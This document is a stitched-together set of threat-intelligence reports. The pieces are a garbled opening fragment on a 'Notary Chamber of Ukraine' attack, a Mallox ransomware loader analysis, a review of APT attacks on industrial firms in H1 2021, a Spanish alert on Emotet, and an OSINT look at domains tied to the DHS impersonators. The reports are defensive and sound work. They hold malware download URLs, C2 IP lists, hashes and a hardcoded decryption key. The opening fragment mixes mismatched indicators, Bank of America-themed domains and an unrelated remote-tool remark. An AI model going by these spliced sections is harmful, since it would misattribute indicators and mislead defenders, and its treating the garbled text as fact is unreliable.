Notary Chamber of Ukraine Attack **Files** - 96bea3e40e4336e9b0379e3bb13432373a1d5902f702cc44880732318e74f04c - ухвала.doc - a8a526017eff682ce9d59053ad04c54986407d6471f4da0cd16e0815f8d9b6bc - Ухвала1.docx - b5cf5fee769e4b077f91fd50b76cabb2a2bdf6d5b85df4e1a671a57566bdcb05 - Ухвала2.docx **File System** - %PROGRAMDATA%\Microtik - %PROGRAMDATA%\Microtik\exit.exe - %PROGRAMDATA%\microtik\settings.dat - %PROGRAMDATA%\Microtik\winserv.exe ## APPENDIX A: POTENTIAL C2 DOMAINS Based on DNS Whois pivots of known C2 domains, the following domains are provided as ‘potential C2 domains’ based on suspicious naming conventions that are similar to, or consistent with, observed C2 domain naming themes. - accountservice.link - boaservicalonotiservicesa.tk - serviboaalertsacess.ga - alertsofamericaservice.net - boaserviceraletst.cf - servicapplecustomers.ga ... (and many more) --- This document provides an overview of the recent observations along with detailing the capabilities of the legitimate remote administration tool ‘RMS’ and associated indicators of compromise (IOC).
# Mallox Ransomware Showing Signs of Increased Activity **December 8, 2022** Ransomware potentially targeting organizations dealing in Critical Infrastructure. “TargetCompany” is a type of ransomware that was first identified in June 2021. The researchers named it TargetCompany ransomware because it adds the targeted company name as a file extension to the encrypted files. In September 2022, researchers identified a TargetCompany ransomware variant targeting Microsoft SQL servers and adding the “Fargo” extension to the encrypted files. TargetCompany ransomware is also known to add a “Mallox” extension after encrypting the files. Cyble Research and Intelligence Labs (CRIL) recently observed a spike in Mallox ransomware samples. The statistics of Mallox Ransomware samples in the wild indicate that the ransomware is active, spreading rapidly, and infecting users in recent weeks. These Mallox ransomware samples are downloaded and loaded by an unknown loader. The loader further downloads Mallox ransomware from the remote server and encrypts files in the victim’s machine. Additionally, the ransomware group maintains a leak site with information related to the victims of the ransomware attacks. ## Technical Analysis ### Loader Analysis An unknown .NET-based loader downloads Mallox ransomware. Our research indicates that the loader is known to be downloading other malware families such as Agentesla, Remcos, Snake keylogger, etc. This loader usually arrives via spam email with different flavors to lure the users into downloading and executing the email attachment. The loader acts as a downloader that downloads encrypted malicious content from the remote server, decrypts it in the loader memory, and executes it. The loader executes the malicious content in the memory without saving the actual payload on the disk to evade anti-virus detection. The loader downloads encrypted payloads with a file extension such as png, jpeg, or bmp. The loader is a 32-bit .Net executable file with the file name “Cqasdqtamip.exe” and sha256 as e3a0bbd623db2b865fc3520c8d05e8b92016af2e535f0808460295cb8435836a. Upon execution, the loader downloads the encrypted malicious content from the URL hxxp://80[.]66[.]75[.]98/Chseiyk.jpeg. The malicious content is encrypted with the AES encryption algorithm using the key “Cwgoawrnxz,” which is hardcoded in the loader’s binary. The loader now decrypts the payload to get the actual ransomware binary in the memory and further executes this binary to perform ransomware activities. ### Mallox Ransomware Payload Analysis The downloaded and decrypted file is a 32-bit .NET-based DLL with the name “Wwxjdcapjnmuq.dll” and sha256 as b64606198c158f79287b215343d286adf959e89acb054f8f3db706f3c06f48aa. The DLL file is further obfuscated with an IntelliLock obfuscator to make malware reversal more difficult. The loader now loads the decrypted ransomware DLL as assembly using the Assembly.Load() function. After loading DLL, the loader enumerates methods from the DLL file and creates a list of method names and objects from the loaded assembly. The loader creates a thread pool of the methods for executing the ransomware code. After creating the thread pool, the loader then uses the InvokeMember() function to execute the threads for a list of previously created methods. After execution, the ransomware drops a batch file “Axfiysgodhtrlqmrgpchkiller.bat” into the temp folder and executes it. This batch file stops numerous services and programs so that associated files are encrypted without any interruption during the encryption process. Interestingly, the ransomware also stops GPS-related programs, indicating that the ransomware could be targeting organizations dealing in the critical infrastructure sector. The ransomware disables several services and stops running programs in the system. Some important services and programs are: - Database Related Services: MSSQL, MSSQL Server, PostgreSQL, Oracle, etc. - Backup Related Services: VSS, Veeam, etc. - Windows Related Programs: OneDrive, Excel, Outlook, WinWord, etc. - File Sharing and Servers Related programs: FileZilla FTP Server, Apache Tomcat Server, Microsoft Exchange Server, OpenSSH, WAMP Server, Nginx, etc. - Business Management Software: SAP Business One, Jenkins, Redis, SVN Server, Turbo CRM, Kingdee, etc. - Virtualization Programs and Services: VirtualBox, VMware, etc. - GPS Related Commands: GPSDaemon, GPSUserSvr, GPSDownSvr, GPSStorageSvr, GPSDataProcSvr, GPSGatewaySvr, etc. Before encrypting the files, the ransomware exfiltrates system information such as Operating system version, Desktop name, etc., and sends it to the Command & Control (C&C) server using a POST request. The ransomware then encrypts the files, appends “.Mallox” as a file extension, and drops a ransom note in the folders. The ransom note also contains a private chat link for the victims to connect with the Threat Actor. The chat page contains information such as TargetID, hard disk size, Payment Details, etc. The TA has also provided features in their chat page for their victims to upload encrypted samples to test the decryption. ## Conclusion Over the last few days, we have observed increased levels of activity from the Mallox ransomware group. The ransomware group is using an unknown loader which is used for downloading and executing the ransomware. Additionally, Mallox ransomware stopped GPS-related services, indicating their targets could be organizations dealing in Operation Technology and Critical Infrastructure. ## Our Recommendations We have listed some of the essential cybersecurity best practices that create the first line of control against attackers. We recommend that our readers follow the best practices given below: ### Safety Measures Needed to Prevent Ransomware Attacks - Conduct regular backup practices and keep those backups offline or in a separate network. - Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic. - Use a reputed anti-virus and Internet security software package on your connected devices, including PC, laptop, and mobile. - Refrain from opening untrusted links and email attachments without verifying their authenticity. ### Users Should Take the Following Steps After the Ransomware Attack - Detach infected devices on the same network. - Disconnect external storage devices if connected. - Inspect system logs for suspicious events. ### Impact And Cruciality of Ransomware - Loss of valuable data. - Loss of the organization’s reputation and integrity. - Loss of the organization’s sensitive business information. - Disruption in organization operation. - Monetary loss. ### MITRE ATT&CK® Techniques | Tactic | Technique ID | Technique Name | |---------------------------|--------------|-----------------------------------------| | Execution | T1204 | User Execution | | Defense Evasion | T1140 | Deobfuscate/Decode Files or Information| | | T1562 | Impair Defences | | Discovery | T1082 | System Information Discovery | | | T1083 | File and Directory Discovery | | Impact | T1486 | Data Encrypted for Impact | | Command and Control | T1071 | Application Layer Protocol | | Exfiltration | T1020 | Automated Exfiltration | ### IoCs | Indicators | Indicator | Description | |------------|-----------|-------------| | | 2456c01f5348e5c08f7e818d51862c1a | MD5 Mallox | | | 625be3e4dbfb0bd35c9cda216a9bca7232dbec07 | SHA1 Loader | | | 34da973f1d154672b245f7a13e6268b4ffc88dea1ca608206b32759ec5be040c | SHA256 | | | b739be28cb9a30868112d4786bc11d37 | MD5 Chseiyk.jpeg | | | 296e19773f6fb7190d914ac556abe0125e5d7aa5 | SHA1 Encrypted | | | b3ccec8ca26bc3b6597ddb0424a455eb7809e7608f5d62f6c7f5d757d4d32253 | SHA256 Payload | | | 86344d7e6e5b371717313032632cbbe1 | MD5 Mallox | | | 3921694be80b2fd5d8007c8155bee018c32fecbb | SHA1 Payload | | | b64606198c158f79287b215343d286adf959e89acb054f8f3db706f3c06f48aa | SHA256 | | | 688e0b37794395cfecaf9cc519e3c26a | MD5 Mallox | | | d215d4166dfa07be393459c99067319036eb80ba | SHA1 Loader | | | 77fdce66e7f909300e4493cbe7055254f7992ba65f9b7445a6755d0dbd9f80a5 | SHA256 | | | 680b540d975b7a4f66cd54ee83ed600 | MD5 Mallox | | | 62324b38a5a5a2533f3bd401d7afd1c6c4235b08 | SHA1 Loader | | | 89c9c14af6ab4f3f93705325dbc32bde6c232d26d22e8f835db24efc18007ea4 | SHA256 | | | 2ffae162e07ba8debdf25694e8fd8325 | MD5 Mallox | | | a1289c3e585e091a7c8f89869a76e40f7e3880fd | SHA1 Loader | | | d691f44b587c6ed47c2d57b2bf99323877821a318cb0d5aa9899c40a44e81ef3 | SHA256 | | | cacbed12b83529ebb99b0297d52b0749 | MD5 Mallox | | | db6d67f55bce0425baef2348e70f1478d022820e | SHA1 Loader | | | 58726aac2652bedfe47b7e1c73ba39d028e2e6ad188f4ed735d614097be4a23b | SHA256 | | | da3f02b82e982f5ce5a71d769a067f3b | MD5 Mallox | | | e165cac5ab2b2312f7ed8569c69a75bae48b8316 | SHA1 Loader | | | 7164ba41639c8edcd9ff1cf41a806c9a23de566b56a7f34a0205ba1f84575a48 | SHA256 | | | 38454291f7b871d71a512b5dd5100d9e | MD5 Mallox | | | 9e9c04f00822aacaa15d0bcc4749f8e6920d4550 | SHA1 Loader | | | 45391bfbb06263f421ac739e1e4b438fb99a0757dcecc68de79b2dbe02c1641e | SHA256 | | | 7be2a76577f6ee05ec08c77c41cd9dd4 | MD5 Mallox | | | f3cfca7a2160559aa62b4cf42cd15870a4abcae7 | SHA1 Loader | | | 87a923319c6ea74a9cef5ed7528afdbd4a05e7600ce7f4359e5990ff8769a2ff | SHA256 | | | 6e542eda455e8c8600df96874c8deceb | MD5 Mallox | | | 670530d36967c5927955d31052dff165a187c1f2 | SHA1 Loader | | | d755cd96077cebbed84a86e69d1fd84b95e3e5763abc8ac8ec0a7f1df30e9585 | SHA256 | | | hxxp://80[.]66[.]75[.]98/Chseiyk.jpeg | URL Malicious | | | hxxp://193[.]106[.]191[.]141/QWEwqdsvsf/ap.php | URL Connected |
# APT Attacks on Industrial Organizations in H1 2021 This summary provides an overview of APT attacks on industrial enterprises disclosed in H1 2021 and related activity of groups that have been observed attacking industrial organizations and critical infrastructure facilities. For each story, we sought to summarize the most significant facts, findings, and conclusions of researchers, which we believe can be of use to experts who address practical issues related to ensuring the cybersecurity of industrial enterprises. ## SolarWinds A large-scale and sophisticated supply chain attack on SolarWinds’ Orion IT enterprise software was described in our previous APT review. Researchers continued to investigate the case and reported new findings. New malware families were discovered: one, named “Sunspot”, was deployed in September 2019, when the attackers first breached the company’s network. It was installed on SolarWinds' build server and was designed to monitor the server for commands that assembled the Orion product. Once an Orion build command was detected, the malware silently replaced a source code file with a file that loaded the Sunburst malware. Another, named “Raindrop”, is a backdoor loader that drops Cobalt Strike, post-compromise, as a means of moving laterally across the target network. Microsoft has published a further analysis of the malware used in the attack, in particular the missing chain in the attack and the sequence of processes leading from the Sunburst backdoor to the execution of the Cobalt Strike loader. The attackers separated these two components as far as possible to evade detection. The research also includes an analysis of additional hands-on-keyboard techniques used by the attackers during initial reconnaissance, data collection, and exfiltration, in addition to the broader TTPs published already. Later, new malware families used by the threat group behind the SolarWinds attack were identified. They include a backdoor called GoldMax (aka Sunshuttle), Sibot, and GoldFinder. Prodaft, a Swiss cybersecurity firm, has published research describing the activity of a group they found and dubbed SilverFish, which they claim was connected with the SolarWinds incidents. The group was responsible for intrusions at over 4720 private and government organizations, including Fortune 500 companies, ministries, airlines, defense contractors, audit and consultancy companies, and automotive manufacturers. An extensive campaign was active between August 2020 and March 2021. Prodaft managed to access one of the group’s C2 servers. It obtained valuable information on the victims and post-exploitation activities from the server. The most unusual activity they discovered was the use of existing enterprise victims as a sandbox for testing malicious payloads for detection with enterprise EDR and AV solutions, with the results of scanning reported back to the server. ## Cicada/APT10 In November and December 2020, Symantec and LAC published blog posts about a campaign of an actor known as APT10. One month later, Kaspersky observed new activities from the actor with an updated version of some of their implants designed to evade security products and make analysis more difficult for researchers. Kaspersky has investigated a long-running espionage campaign dubbed "A41APT" targeting multiple industries, including the Japanese manufacturing industry and its overseas bases, active since March 2019. The attackers used vulnerabilities in an SSL-VPN product to deploy a multi-layered loader that was dubbed “Ecipekac” (aka DESLoader, SigLoader, and HEAVYHAND). Most of the payloads deployed by this loader that have been discovered are fileless and had not been seen before. The following malware was observed: “SodaMaster” (aka DelfsCake, dfls, and DARKTOWN), “P8RAT” (aka GreetCake and HEAVYPOT), and “FYAnti” (aka DILLJUICE Stage 2), which in turn loads QuasarRAT, a popular open-source remote administration tool. ## Andariel Kaspersky has discovered Andariel activity targeting a broad spectrum of industries located in South Korea, including organizations in the manufacturing, home network service, media, and construction sectors, using a revised infection scheme and, in one case, custom ransomware. In April, Kaspersky observed a decoy document with a Korean file name uploaded to VirusTotal. It revealed a novel infection scheme and an unfamiliar payload. The threat actor has been spreading the third stage payload since the middle of 2020 and leveraged malicious Word documents and files mimicking PDF documents as infection vectors. Notably, in addition to the final backdoor, one victim became infected with custom ransomware, adding another facet to this campaign of Andariel, which also sought financial gain in a previous operation involving the compromise of ATMs. During the course of this research, Malwarebytes published a report with technical details of the same series of attacks, attributing it to the Lazarus group. After a deep analysis, Kaspersky came to a more precise conclusion in this regard: we believe that the Andariel branch of the Lazarus group was behind these attacks. Code overlaps between the second stage payload in this campaign and earlier Andariel malware allowed for this attribution. Apart from the code similarity and the victimology, the way Windows commands and their options were used in a backdoor shell in the post-exploitation phase is almost identical to earlier Andariel activity. ## China-Linked Threat Groups The Cybereason Nocturnus Team has found spear-phishing RTF documents weaponized with RoyalRoad that deliver PortDoor malware, a previously undocumented backdoor assessed to have been developed by a threat actor likely operating in Chinese state interests. Over the years, the RoyalRoad weaponizer, also known as the 8.t Dropper/RTF exploit builder, has been included in the arsenal of several Chinese-related threat actors such as Tick, Tonto Team, and TA428, all of which use RoyalRoad regularly for spear-phishing in targeted attacks against high-value targets. According to the phishing lure content examined, the target of the attack was the CEO of the Rubin Design Bureau, a Russian defense contractor that designs submarines for the Russian Navy. A series of ransomware attacks with unclear purposes hit Taiwan organizations in April and May 2020. Affected organizations include CPC Corporation — a state-owned petroleum, natural gas, and gasoline company and the largest gasoline supplier in Taiwan, Formosa Petrochemical Corporation, Chunghwa Telecom, and, reportedly, organizations in the semiconductor industry. Given the highly targeted nature of these attacks, their lack of sophistication, and the lack of contact information for ransomware payments in some of the ransomware variants, as well as the fact that the campaign was launched just one week before the president’s inauguration in Taiwan, some believe the true motive behind these attacks may be not financial gain but something else, such as causing disruption or drawing the attention away from other activity. On May 15, the Investigation Bureau of the Ministry of Justice (MJIB) released an investigation report stating that Winnti or another closely related group was suspected of being behind these attacks. ## ReverseRat Attacks in India and Afghanistan Lumen’s Black Lotus Labs has discovered an attack in which the majority of victims are located in India and a small number in Afghanistan. The attack involves a new remote access Trojan called ReverseRat. Victims include a government organization, a power transmission organization, and a power generation and transmission organization somewhere in “South and Central Asia” (the country remains undisclosed). The actor behind this campaign has operational infrastructure hosted in Pakistan, and researchers assume that it also originates from that country. The infection chain of this campaign and its TTPs are correlated with last year’s campaign called Operation SideCopy. A multi-step infection chain results in the victim downloading two agents: one resides in-memory (ReverseRAT), while the second is side-loaded (AllaKore), ensuring the threat actor’s persistence on infected workstations. The original URLs that are the sources of the entire infection chain have not been found, but they are likely sent in targeted emails or messages, as observed in the actor’s similar campaigns. ## Operation Spalax Researchers have uncovered attacks targeting Colombian organizations, including government institutions and private companies, particularly in the energy and metallurgical industries. The ongoing attacks, dubbed “Operation Spalax”, install remote access Trojans, most likely to conduct cyber-espionage activities. The attacks observed in 2020 share some TTPs with those described in earlier reports on groups targeting Colombia, for example, the QiAnXin report and the TrendMicro report. The phishing emails used in the attack lead to malicious files being downloaded. In most cases, these emails have a PDF document attached to them, which contains a link that the user must click to download the malware. The files that are downloaded are regular RAR archives containing an executable file. The payloads installed by Operation Spalax are popular cybercriminal RATs: Remcos, njRAT, and AsyncRAT. Several droppers have been observed that are variants of a packer which uses steganography. These droppers have previously been used with Agent Tesla samples, but in this case, they contained no Agent Tesla payload. ## New Lazarus Activities Uncovered Following up on an earlier investigation into Lazarus attacks on the defense industry that used the ThreatNeedle cluster, Kaspersky discovered another malware cluster named CookieTime, used in a campaign that was mainly focused on the defense industry. We detected related activity in September and November 2020, with samples dating back to April 2020. CookieTime has a different structure and functionality compared to known malware clusters of the Lazarus group. This malware communicates with the C2 server using the HTTP protocol. It uses encoded cookie values to deliver requests to the C2 server and to fetch command files from the C2 server. The C2 communication takes advantage of steganography techniques used in files exchanged between infected clients and the C2 server. The data transferred is disguised as GIF image files that contain encrypted commands from the C2 server and command execution results. Kaspersky researchers had a chance to look into the command-and-control script as a result of working closely with a local CERT to take down the threat actor’s infrastructure. The malware control servers are configured in a multi-stage fashion and only deliver the command file to valuable hosts. ESET researchers have discovered a previously undocumented backdoor, dubbed “Vyveva”, used to target a freight logistics company in South Africa. The backdoor is designed to collect information from the victim’s computer and exfiltrate data. The malware communicates with the C2 via the Tor network. Researchers attribute this to Lazarus based on similarities with the threat actor’s previous operations and samples. ## RedEcho/ShadowPad Recorded Future researchers have observed an increase in targeted intrusion activities against India’s power sector since early 2020. They attribute the activity to a threat actor dubbed “RedEcho”. Since mid-2020, there was a steep rise in the use of the infrastructure they track as “AXIOMATICASYMPTOTE”, which encompasses ShadowPad C2 servers. Kaspersky has also researched the 2020-2021 attacks in India involving the ShadowPad loader and infrastructure described by Recorded Future. A broader geography of victims was discovered based on telemetry data. Victims of these attacks include critical infrastructure organizations. The toolset used in these attacks includes an updated ShadowPad loader dubbed “ShadowShredder”. It was described in a private APT report. Still, attribution remains vague, as ShadowPad was originally known to be used by the BARIUM/APT41 group (aka “Winnti”), but since 2019 it has been used by multiple other Chinese-speaking APT actors such as Tick, CactusPete, and IceFog. ## Zebrocy In March, researchers observed a cluster of activities targeting Kazakhstan with Delphocy – malware written in Delphi that has previously been associated with Zebrocy, supposedly a subgroup of Sofacy. The lures were Word documents purportedly created by a company named Kazchrome, a mining and metallurgical company and one of the world’s largest producers of chrome ore and ferroalloys. Six Delphocy Word documents that appear to be related to this cluster have been found in total. All of the documents contain the same VBA script that drops a PE file. Out of the six Word documents observed, two appear to be authentic uploads to VirusTotal by victims originating from Kazakhstan. Zebrocy is already known to have targeted Kazakhstan’s industrial companies with VBA documents back in 2018, so it seems to keep this tactic. ## Attack on Iranian Centrifuges On April 10, there was a power blackout at Iran’s Natanz nuclear facility, affecting not only the site’s main power distribution equipment but also its backup systems. Initially, Iranian officials confirmed neither that there were casualties nor that the facilities had suffered damage. However, later it was acknowledged that some centrifuges had been damaged and that the “small explosion” had “damaged sectors [which] can be quickly repaired.” Iran’s foreign ministry has blamed Israel for sabotaging the country’s main uranium enrichment facility, although this has not been confirmed. ## RATs Targeting Aerospace Researchers have warned of an ongoing spear-phishing campaign targeting aerospace and travel organizations, using a new and stealthy malware loader to deploy a series of RATs such as LimeRAT, RevengeRAT, and AsyncRAT. The attackers lure their victims with images masquerading as PDF documents that contain information relevant to the target’s industry. Attackers use remote access Trojans for data theft, follow-on activity, and additional payloads, including Agent Tesla, which they use for data exfiltration. The loader is under active development and is dubbed Snip3 by Morphisec. ## Gelsemium The APT threat actor Gelsemium, a cyberespionage group active since 2014, is believed to be responsible for recent supply-chain attacks against targets in China, Japan, Mongolia, Taiwan, North and South Korea, and various Middle Eastern countries. The targets include governments, religious organizations, electronics manufacturers, and universities. The supply chain attack was first described in an Operation NightScout article. The attack compromised the update mechanism of NoxPlayer, an Android emulator for PCs and Macs that is part of BigNox’s product range with over 150 million users worldwide. In these campaigns, ESET researchers found a new version of Gelsemium’s complex and modular malware, as well as additional tools such as the OwlProxy and Chrommmebackdoors. ## Conclusion So what are the most important conclusions that can be drawn from an analysis of publicly available information about APT attacks on industrial organizations in H1 2021? First and foremost, APT researchers have identified no cases of product damage, equipment failure, or other (perhaps even graver) physical consequences of attacks on systems that are part of industrial enterprise OT networks. It is worth mentioning the incident at a water treatment plant in Florida in this respect: since it is highly likely that none of the APT groups was involved in that incident, we did not include it in this report. As for the incident at the Natanz nuclear plant, we were able to find no reliable data in public sources indicating that this was a cybersecurity incident. The next most important conclusions reflect today’s overall trends in the evolution of the threat landscape for organizations of various sectors, types, and profiles, highlighting common challenges faced both by the threat research community and by experts whose work includes ensuring the actual cybersecurity of IT and OT infrastructures. We can state that: 1. We increasingly see tools formerly associated primarily with criminal attacks being included in the toolset of APT groups. - Social engineering remains the most popular initial penetration method not only for cybercriminals but also for APT groups. - APT groups often don’t bother to exploit zero-day vulnerabilities: the infrastructure of their potential victims is full of old, well-known flaws that are actively exploited by other attackers (one example is attacks that exploit vulnerabilities in SSL VPN gateways). - The widespread use of commercial malware is no longer an indication of a purely criminal nature of the attacks. - A zero-day vulnerability being exploited in an attack is no longer a clear sign of an APT. 2. The popularity of ‘commercial’ malware among APT actors can be explained, apart from purely pecuniary considerations, by the natural wish to remain unnoticed or at least unrecognized, lost amongst the multitude of criminal attacks. 3. It is worth noting, however, that other things than the toolset can also be borrowed from cybercriminals for that purpose, such as the infrastructure and even strategy. In H1 2021, an APT group followed the steps of ExPetr operators in trying to disguise their activity as ransomware. 4. Categorizing the diverse tools and infrastructure used in attacks in order to find out who is behind the various attacks (something information security experts call “attribution”) and compiling an encyclopedia of the various known groups remains a difficult task. Despite the large amount of work that has already been done by numerous researchers, finding a consensus often proves impossible. Professional cybersecurity threat actors leave few clues, and it often proves impossible to sort out their crimes in the virtual world without ‘the Attorney General’s consent’. This is demonstrated admirably by research into the notorious series of SolarWinds related attacks.
# La Botnet de EMOTET reinicia ataques en Chile y LATAM **Resumen Ejecutivo** En enero de 2021, la botnet de Emotet, una de las ciberamenazas más importantes del mundo, fue desmantelada en un esfuerzo conjunto de múltiples países y fuerzas policiales. Sin embargo, 10 meses después, y luego de que las autoridades realizaran una desinstalación masiva del malware a nivel mundial, Emotet vuelve a mostrar signos de vida y la reconstrucción progresiva de su botnet a través de uno de sus más fieles colaboradores, Trickbot. Según la gente de Advanced Intelligence, el regreso de Emotet ha sido tramado por un ex miembro de Ryuk, ahora parte de la pandilla de Conti, con la finalidad de dar soporte a los próximos ataques de Ransomware. Junto a lo anterior, hemos podido evidenciar que Emotet ya se encuentra enviando campañas masivas de phishing a países en Latinoamérica como Perú, México, Paraguay, Uruguay, Colombia, Panamá, Ecuador, Argentina, El Salvador y, por supuesto, Chile, entre otros. Esto también lo hemos podido confirmar con terceros, como en este Tweet de TG Soft: “#Emotet Epoch5 is spamming these countries: Greek, Chile, Portugal, Mexico, Poland, Czech Rep., Argentina, Uruguay, Slovakia, Colombia, Ecuador and others. Botnet re-building in progress… — TG Soft (@VirITeXplorer) November 18, 2021” Y en este análisis de Brad Duncan: “#Emotet epoch 4 activity (emails/malware/#pcap) – Most emails sent to Spanish-speaking recipients in central and south America, but saw one to a .gr recipient. This is the first pcap I've posted with new Emotet's HTTPS C2 traffic.” — Brad (@malware_traffic) November 19, 2021 Actualmente, Emotet cuenta con dos infraestructuras independientes que son parte de la misma botnet. A estas infraestructuras se les llama Epoch, y su característica principal es que permiten a la botnet desplegarse de forma modular y mantener el control en el caso de que alguna de estas caiga. Epoch 4 y Epoch 5 son las que se encuentran activas y ambas han comenzado a enviar campañas masivas de phishing a Latinoamérica y múltiples países alrededor del mundo. Al momento de escribir esta alerta, CronUp ha confirmado tres incidentes en Chile por infección con este malware. Es importante recordar que un compromiso por Emotet en la red corporativa puede derivar en un ataque de Ransomware. ## Distribución del Malware Emotet se distribuye a través de correos electrónicos, utilizando para ello miles de cuentas SMTP comprometidas y suplantando a contactos conocidos o de confianza. En campañas anteriores también hemos visto el secuestro o robo de cadenas de correos, algo que seguramente veremos también muy pronto. En la actualidad, el correo malicioso trae un archivo adjunto protegido con contraseña, lo que dificulta el análisis automatizado de algunas herramientas de seguridad y, en conjunto a los servidores SMTP que utilizan (organizaciones válidas), permite a los atacantes tener una mayor tasa de éxito. A continuación, un ejemplo del correo Phishing: El archivo .ZIP trae un documento Microsoft Office en su interior, el que puede tener extensión .DOC, .DOCM o .XLSM, entre otras. También se han visto casos donde el adjunto es directamente el documento de MS Office y, en un pasado, también lo hicieron con un link en el cuerpo del correo para la descarga del documento. Al abrir el documento y habilitar la edición, se activa la macro y el proceso de infección del equipo. La macro del documento ejecuta Powershell para realizar la descarga del payload final (DLL de Emotet) desde uno de los 7 sitios distintos que vienen configurados en el documento Microsoft Office. Al visitar una de estas URLs se puede apreciar la descarga de la DLL de Emotet. En este punto, luego de registrar la DLL, Emotet ha logrado infectar y comprometer efectivamente el equipo y agregarlo a la red de computadores zombie que forman parte de la Botnet. ## Herramientas y recursos 1. EmoCheck, es una herramienta para la detección de Emotet en sistemas operativos Windows que ha sido desarrollada por el CERT de Japón. 2. HaveIBeenEMOTET, es un portal desarrollado por TG SOFT para detectar si un correo o dominio está en la base de datos de SPAM de Emotet. 3. CyberChef, es una aplicación web para la encriptación, codificación, compresión y análisis de datos. Gracias a la información compartida por la gente de Cryptolaemus y Kostastsale, hemos podido ajustar una nueva receta o “Recipe” que extrae las URLs de los documentos maliciosos (funcionando al 19-11-2021). Utilizar desde tinyurl.com/EmotetURLs (solo debes dejar caer el documento en “Input”). ## Indicadores de Compromiso La mejor forma de protegerse frente a esta ciberamenaza es: 1. Siguiendo al equipo de Cryptolaemus, quienes estudian y exponen las nuevas técnicas, tácticas y procedimientos de estos atacantes. 2. Actualizando regularmente las listas de bloqueo (C2) que disponibiliza Abuse.ch. El listado actual de servidores de comando y control activos es: - 122.129.203.163 - 31.220.49.39 - 191.252.196.221 - 202.29.239.161 - 185.184.25.237 - 103.161.172.108 - 93.188.167.97 - 163.172.50.82 - 45.79.33.48 - 210.57.217.132 - 177.72.80.14 - 51.178.61.60 - 142.4.219.173 - 168.197.250.14 Iremos actualizando este reporte a medida que se identifiquen cambios significativos en esta amenaza. Recuerden bloquear regularmente los nuevos C2 para mantenerse protegidos. **Threat Intelligence Team** **CronUp Ciberseguridad** Germán Fernández Threat Researcher en CronUp Ciberseguridad Líder Red Team & Cyber Threat Intelligence.
# Two Men Arrested for Impersonating DHS Employees On Wednesday, two men were arrested who are alleged to have been impersonating federal agents. Five witnesses have given evidence that the men pretended to work for several agencies, with the Department of Homeland Security being one of them. According to the affidavit, this initially sounds bad but not on the very high end of what bad could be. At this point, one may mistakenly think these guys were just trying to sound sophisticated or a “Walter Mitty” type of episode that got out of hand. However, the allegations quickly escalate into very concerning territory. “Specifically, TAHERZADEH has provided members of the United States Secret Service (USSS) and an employee of DHS with, among other things, rent-free apartments (with a total yearly rent of over $40,000 per apartment), iPhones, surveillance systems, a drone, a flat-screen television, a case for storing an assault rifle, a generator, and law enforcement paraphernalia. TAHERZADEH also offered these individuals use of what TAHERZADEH represented to be ‘official government vehicles.’ In addition, TAHERZADEH offered to purchase a $2,000 assault rifle for a United Secret Service Agent assigned to the First Lady’s protective detail. As of April 4, 2022, as a result of this conduct, four members of the Secret Service were placed on administrative leave pending further investigation.” ## A Harsh Job Interview Then they are alleged to actually try to recruit someone to work for them under the guise of being deputized by the DHS. According to the affidavit, “As part of the ‘recruitment process,’ TAHERZADEH and ALI required that the ‘applicant’ be shot with an Airsoft rifle to evaluate their pain tolerance and reaction. Subsequent to being shot, the applicant was informed that their hiring was in process. The applicant was also assigned to conduct research on an individual that provided support to the Department of Defense and intelligence community.” This ongoing charade only got uncovered when a United States Postal Inspector was investigating an assault at the apartment complex where the suspects lived. They were witnesses to the assault, but their questioning made the inspector suspicious, and they called in the FBI. ## The Set Up So what were they doing? Looking into the affidavit, they were using an email address with the domain name ussp.us. Let’s use this as a starting point and map out their infrastructure and timings. They have a corporate LinkedIn page set up for this company and a Crunchbase profile. Their registered address is 949 1st St SE APT 509, Washington, DC, 20003-4737, United States. Their website is no longer fully functional, but we can still see the URLs that were hosted there using archive.org. The court documents suggest they were providing apartments rent-free to a number of people in the apartment building who have now been suspended from their public service jobs. The implication is that the suspects were taking advantage of these people for nefarious purposes such as espionage. If we look at their infrastructure, is there anything we can tell? ## Whois Records We found a number of domains for this group. The first being ussp.us but also a number of others on the same custom name server "a1.ussp.us", "a2.ussp.us". For this primary domain, the admin is listed as “INFORMATION SYSTEMS.” If we check out the other domains on these name servers, we can see that the same organization had quite a few ‘special police’ themed domains on the go since 2020. The costs of this are beginning to mount up. ## What are Special Police Officers? The companies that these suspects had set up were branded as if they provide security contracting as special police officers for the District of Columbia. These appear to be a special type of private security contractors who are licensed to make arrests within the area they cover. We don’t know if the people in question were licensed or not, but all of these domains they were operating are around that theme. Is this a case of delusional security guards pretending they were something “cooler,” or is this something more nefarious as some people are suggesting? ## Prior Behavior The suspects in this case seem to have an ongoing track record of irresponsible behavior and would not seem to be ideal candidates for any real undercover work or espionage activity, but we’ll see what gets revealed in court. ## Why These Subdomains? One question that would be good to have the answer to is why do certain subdomains exist for this organization. People are assuming the company is a complete front, but what if it had contracts and what were they for? ## TXT Records We can tell from their TXT records that they had a LogMeIn account as well as Google Search Console and Office 365 for the main domain ussp.us. uspolice.us also had a verification TXT record for Microsoft. So this may also have been one of their email domains. ## Certificates The main domain had some certificates for cPanel and others. ### Observed Infrastructure List - a1.ussp.us - a2.ussp.us - adfs.ussp.us - autodiscover.dcspecialpolice.com - autodiscover.specialpoliceunit.us - autodiscover.uspolice.us - autodiscover.ussp.us - cpanel.dcspecialpolice.com - cpanel.specialpoliceunit.us - cpanel.uspolice.us - cpanel.ussp.us - cpcalendars.uspolice.us - cpcontacts.uspolice.us - dc.ussp.us - dc1.ussp.us - dc3.ussp.us - dcspecialpolice.com - dhs.ussp.us - downloads.ussp.us - east.ussp.us - iris.ussp.us - mail.dcspecialpolice.com - mail.specialpoliceunit.us - mail.uspolice.us - mail.ussp.us - portal.ussp.us - siu.ussp.us - software.ussp.us - sou.ussp.us - specialpoliceunit.us - staging.ussp.us - t01.ussp.us - t25.ussp.us - uspolice.us - ussp.us - webdisk.dcspecialpolice.com - webdisk.specialpoliceunit.us - webdisk.uspolice.us - webdisk.ussp.us - webmail.dcspecialpolice.com - webmail.specialpoliceunit.us - webmail.uspolice.us - webmail.ussp.us - www.dcspecialpolice.com - www.dhs.ussp.us - www.downloads.ussp.us - www.software.ussp.us - www.specialpoliceunit.us - www.staging.ussp.us - www.uspolice.us - www.ussp.us The Team
